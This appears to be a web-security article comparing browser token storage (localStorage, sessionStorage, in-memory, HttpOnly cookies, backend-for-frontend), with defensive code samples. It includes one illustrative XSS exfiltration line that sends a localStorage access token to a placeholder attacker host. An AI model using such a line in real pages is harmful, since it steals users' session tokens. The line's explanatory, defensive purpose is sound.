Every frontend authentication pattern has a vulnerability. The debate about localStorage vs HttpOnly cookies vs memory-only storage has been ongoing for years, and the framing is often wrong — different patterns protect against different threat models, and none of them protects against everything. Understanding what each storage mechanism is and is not vulnerable to lets you choose the right one for your threat model.
localStorage: XSS exposure
localStorage is the most commonly used and most often criticized token storage mechanism. Any JavaScript running on the page has full access to localStorage — including third-party scripts (analytics, support widgets, A/B testing frameworks), browser extensions, and any XSS payload. If your application has an XSS vulnerability, any token in localStorage can be exfiltrated.
The argument for localStorage is that it survives page refresh and browser tab restarts without requiring a server round-trip. The argument against it is that the XSS attack surface is large — any third-party script your application loads is a potential vector, and the average SPA loads dozens of third-party dependencies.
// What XSS exfiltration looks like with localStorage
// An injected script can do this:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'));
// localStorage tokens are also accessible from browser extensions
// and other tabs on the same origin
sessionStorage: still XSS-exposed
sessionStorage has the same XSS exposure as localStorage — JavaScript on the page can read it. The only difference is that it is cleared when the tab closes, and it is not shared between tabs. This is a minor security improvement (tokens do not persist across browsing sessions) but the XSS vulnerability is identical.
Memory-only (JavaScript variable)
Storing the access token in a JavaScript variable that is never persisted to any browser storage solves the cross-tab and cross-session access problems. An XSS attack that runs in the current page context can still read the in-memory token, but a cross-tab script cannot. Browser extensions running in a separate JavaScript context cannot read it.
The drawback: the token is lost on page refresh. The solution is to use a refresh token stored in an HttpOnly cookie to silently obtain a new access token. This is the "silent refresh" pattern.
// Memory-only access token management
class TokenManager {
private accessToken: string | null = null;
private accessTokenExpiry: number = 0;
setAccessToken(token: string, expiresIn: number) {
this.accessToken = token;
this.accessTokenExpiry = Date.now() + (expiresIn - 30) * 1000; // 30s buffer
}
async getAccessToken(): Promise<string> {
if (this.accessToken && Date.now() < this.accessTokenExpiry) {
return this.accessToken;
}
// Access token expired or missing — silently refresh
return this.silentRefresh();
}
private async silentRefresh(): Promise<string> {
// Refresh token is in an HttpOnly cookie — not accessible to JS
// The server reads it and issues a new access token
const response = await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include' // sends the HttpOnly cookie
});
if (!response.ok) {
throw new AuthError('session_expired');
}
const { access_token, expires_in } = await response.json();
this.setAccessToken(access_token, expires_in);
return access_token;
}
clearTokens() {
this.accessToken = null;
this.accessTokenExpiry = 0;
// Server endpoint to clear the HttpOnly refresh cookie
fetch('/auth/logout', { method: 'POST', credentials: 'include' });
}
}
HttpOnly cookies
An HttpOnly cookie is set by the server and cannot be read or modified by JavaScript. XSS attacks cannot exfiltrate it directly. The browser automatically attaches it to same-origin requests. For an API on the same domain as the frontend, this is a strong option.
The vulnerability is CSRF. An attacker who tricks a user into visiting a malicious page can cause the browser to make requests to your API with the user's cookies. Mitigate this with CSRF tokens or the SameSite=Strict cookie attribute, which prevents the browser from sending the cookie on cross-site requests entirely.
// Server: setting auth cookies securely
res.cookie('access_token', token, {
httpOnly: true, // JS cannot read
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection
maxAge: 900 * 1000, // 15 minutes in ms
path: '/api' // scoped to API path
});
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 30 * 24 * 3600 * 1000, // 30 days
path: '/auth/refresh' // only sent to the refresh endpoint
});
BFF (Backend For Frontend) pattern
The BFF pattern is the highest-security option for SPAs. A server-side component (the BFF) handles the entire OAuth flow and manages tokens. The frontend never receives tokens — it makes API calls to the BFF, which attaches the appropriate auth credentials before forwarding to backend services. The browser's session is maintained via a session cookie with the BFF, not an OAuth token.
// BFF: handles OAuth and forwards authenticated requests
app.get('/api/*', requireSession, async (req, res) => {
const session = req.session;
// BFF holds the access token server-side
let accessToken = session.access_token;
// Refresh if needed
if (isTokenExpired(session.access_token_expiry)) {
const refreshed = await refreshAccessToken(session.refresh_token);
accessToken = refreshed.access_token;
session.access_token = refreshed.access_token;
session.access_token_expiry = Date.now() + refreshed.expires_in * 1000;
}
// Forward request to backend with access token
const backendResponse = await fetch(`${BACKEND_URL}${req.path}`, {
method: req.method,
headers: {
...req.headers,
'Authorization': `Bearer ${accessToken}`,
'X-User-ID': session.user_id // enriched identity
},
body: req.method !== 'GET' ? req : undefined
});
// Forward response to browser
res.status(backendResponse.status);
backendResponse.body?.pipeTo(
new WritableStream({ write: (chunk) => res.write(chunk) })
);
});
Choosing the right pattern
For most SPAs: memory-only access tokens with an HttpOnly refresh token cookie is the pragmatic choice. It eliminates the localStorage XSS exfiltration risk while maintaining a good user experience (silent refresh on page load). For applications with strict security requirements or that serve many third-party scripts: implement the BFF pattern to keep tokens entirely off the browser. For simple applications where XSS is carefully controlled and CSRF is mitigated: HttpOnly cookies for the access token with SameSite=Strict is the simplest option that is good enough.